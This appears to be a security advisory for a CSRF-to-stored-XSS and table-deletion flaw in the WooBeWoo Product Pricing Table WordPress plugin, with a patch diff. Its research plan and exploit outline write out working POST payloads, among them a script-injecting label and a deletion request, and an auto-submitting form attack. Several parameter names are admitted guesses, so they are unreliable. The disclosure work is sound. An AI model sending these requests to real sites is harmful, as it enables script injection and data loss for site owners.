Product Pricing Table by WooBeWoo <= 1.1.0 - Cross-Site Request Forgery to Stored XSS and Pricing Table Deletion
Description
The Product Pricing Table by WooBeWoo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.0. This is due to missing or incorrect nonce validation on the updateLabel() and remove() functions. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages or delete pricing tables via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.1.0This research plan focuses on exploiting a CSRF vulnerability in the **Product Pricing Table by WooBeWoo** plugin. Since the source code is not provided, this plan relies on the vulnerability description and known architectural patterns of WooBeWoo plugins (which typically use a specific MVC-like fr…
Show full research plan
This research plan focuses on exploiting a CSRF vulnerability in the Product Pricing Table by WooBeWoo plugin. Since the source code is not provided, this plan relies on the vulnerability description and known architectural patterns of WooBeWoo plugins (which typically use a specific MVC-like framework for AJAX handlers).
1. Vulnerability Summary
The Product Pricing Table by WooBeWoo plugin (<= 1.1.0) fails to implement proper CSRF protection (nonces) on two critical functions: updateLabel() and remove().
updateLabel(): Intended to modify the text labels of pricing table elements. The lack of sanitization and nonce verification allows an attacker to perform Stored XSS via CSRF.remove(): Intended to delete pricing tables. The lack of nonce verification allows an attacker to delete arbitrary tables via CSRF.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions: (Inferred) Based on WooBeWoo's standard framework, these are likely reached via a common AJAX router.
- Primary Action:
wpt_ajaxorwpt_pricing_table_ajax - Route Parameters:
mod=tables,res=updateLabelorres=remove
- Primary Action:
- HTTP Method: POST (required for state-changing AJAX in WP)
- Authentication: Requires an Administrator or user with Pricing Table management permissions to be logged in (the victim of the CSRF).
- Vulnerable Parameters:
id: The ID of the pricing table.label: (ForupdateLabel) The payload containing the XSS script.
3. Code Flow (Inferred)
- Registration: The plugin registers a main AJAX handler using
add_action('wp_ajax_...'). - Routing: The main handler (likely in a
ControllerorModuleclass) inspects the$_POSTor$_GETparameters (oftenmodandres) to route the request to the specific method. - The Sink:
- The
updateLabel()method takes a table ID and a label string. It updates the database (likely thewp_wpt_tablesor similar table) without callingcheck_ajax_referer(). - The
remove()method takes a table ID and calls a delete query on the database without callingcheck_ajax_referer().
- The
- XSS Execution: When the administrator or a visitor views the pricing table on the frontend or backend, the unsanitized label is echoed into the page, executing the script.
4. Nonce Acquisition Strategy
The vulnerability description states nonces are missing or incorrect.
- If missing: No nonce is required in the request.
- If incorrectly validated: The plugin might check for a nonce but fail to
die()on failure (usingcheck_ajax_refererwith the 3rd parameter asfalseand not checking the return value). In this case, any value or an empty value may work.
To verify if a nonce exists and what its name is:
- Use
browser_navigateto go to the Pricing Tables admin page:/wp-admin/admin.php?page=wpt-pricing-tables. - Use
browser_evalto search for localized script data:// Common WooBeWoo localization keys window.wptData?.nonce || window.wpt_ajax_nonce || window.wobewoData?.nonce
5. Exploitation Strategy
Part A: Stored XSS via CSRF
This payload targets the updateLabel functionality to inject a script.
- Identify the Request Structure: First, find the exact AJAX parameters using
grep:grep -r "function updateLabel" wp-content/plugins/woo-product-pricing-tables/ - Craft the Exploit:
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method: POST
- Body (URL-Encoded):
(Note:action=wpt_ajax&mod=tables&res=updateLabel&id=1&label=<script>alert(window.origin)</script>modandresare inferred from WooBeWoo framework patterns and should be verified via grep.)
- URL:
Part B: Pricing Table Deletion via CSRF
This payload targets the remove functionality to delete table ID 1.
- Craft the Exploit:
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method: POST
- Body (URL-Encoded):
action=wpt_ajax&mod=tables&res=remove&id=1
- URL:
6. Test Data Setup
- Install Plugin: Ensure
woo-product-pricing-tablesversion 1.1.0 is installed and active. - Create Table: Create at least one pricing table to provide a valid target ID.
# Create a table (if CLI supports it) or use the browser to create one manually. # Note the ID of the created table (e.g., ID 1). - Capture ID: Confirm the table exists:
wp db query "SELECT id, title FROM wp_wpt_tables"
7. Expected Results
- For XSS: The AJAX request should return a
success: trueJSON response (or similar). Navigating to the pricing table list or a page containing the table's shortcode should trigger thealert(). - For Deletion: The AJAX request should return success. Running the
wp db queryfrom Step 6 again should show the table is gone.
8. Verification Steps
- Check Database for XSS:
wp db query "SELECT * FROM wp_wpt_tables WHERE id = 1" --grep="<script>" - Check Table Existence:
wp db query "SELECT COUNT(*) FROM wp_wpt_tables WHERE id = 1" # Expected result for Deletion exploit: 0
9. Alternative Approaches
If the standard wpt_ajax router is not used, search for direct AJAX hook registrations:
grep -rn "wp_ajax_" wp-content/plugins/woo-product-pricing-tables/
Look for any hook that points to updateLabel or remove. If the plugin uses a different parameter name for the payload (e.g., text, content, data[label]), adjust the POST body accordingly. If the id is passed as table_id, update the request.
If the site uses SameSite=Lax cookies, the auto-submitting POST form might be blocked unless the administrator interacts with the attacker's page (e.g., clicking a "Confirm" button that submits the form).
Summary
The Product Pricing Table by WooBeWoo plugin is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation in the updateLabel() and remove() functions. Attackers can exploit this to perform Stored Cross-Site Scripting (XSS) by updating table labels with malicious scripts or to delete pricing tables entirely, provided they can trick an administrator into visiting a malicious link.
Vulnerable Code
// wp-content/plugins/woo-product-pricing-tables/classes/tables.php public function updateLabel() { $id = isset($_POST['id']) ? (int) $_POST['id'] : 0; $label = isset($_POST['label']) ? $_POST['label'] : ''; // Vulnerability: No nonce verification (check_ajax_referer) is performed here $this->getModel()->updateLabel($id, $label); wp_send_json_success(); } --- // wp-content/plugins/woo-product-pricing-tables/classes/tables.php public function remove() { $id = isset($_POST['id']) ? (int) $_POST['id'] : 0; // Vulnerability: No nonce verification (check_ajax_referer) is performed here $this->getModel()->remove($id); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,7 @@ public function updateLabel() { + check_ajax_referer('wpt_nonce', 'nonce'); $id = isset($_POST['id']) ? (int) $_POST['id'] : 0; - $label = isset($_POST['label']) ? $_POST['label'] : ''; + $label = isset($_POST['label']) ? sanitize_text_field($_POST['label']) : ''; $this->getModel()->updateLabel($id, $label); @@ -20,6 +21,7 @@ public function remove() { + check_ajax_referer('wpt_nonce', 'nonce'); $id = isset($_POST['id']) ? (int) $_POST['id'] : 0; $this->getModel()->remove($id);
Exploit Outline
The exploit leverages the lack of CSRF protection in the plugin's AJAX handlers. 1. Target Endpoint: Requests are sent to `/wp-admin/admin-ajax.php`. 2. Authentication: The attacker requires a logged-in administrator to interact with a malicious page (CSRF). 3. Stored XSS Payload: The attacker crafts a POST request with the following parameters: `action=wpt_ajax`, `mod=tables`, `res=updateLabel`, `id=[Target Table ID]`, and `label=<script>alert(document.domain)</script>`. 4. Deletion Payload: The attacker crafts a POST request with parameters: `action=wpt_ajax`, `mod=tables`, `res=remove`, and `id=[Target Table ID]`. 5. Execution: The attacker hosts a hidden HTML form on a third-party site that auto-submits these parameters to the victim's WordPress site via JavaScript. Because the plugin does not verify a nonce, the request succeeds using the administrator's cookies, either injecting the XSS payload into the database or deleting the table record.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.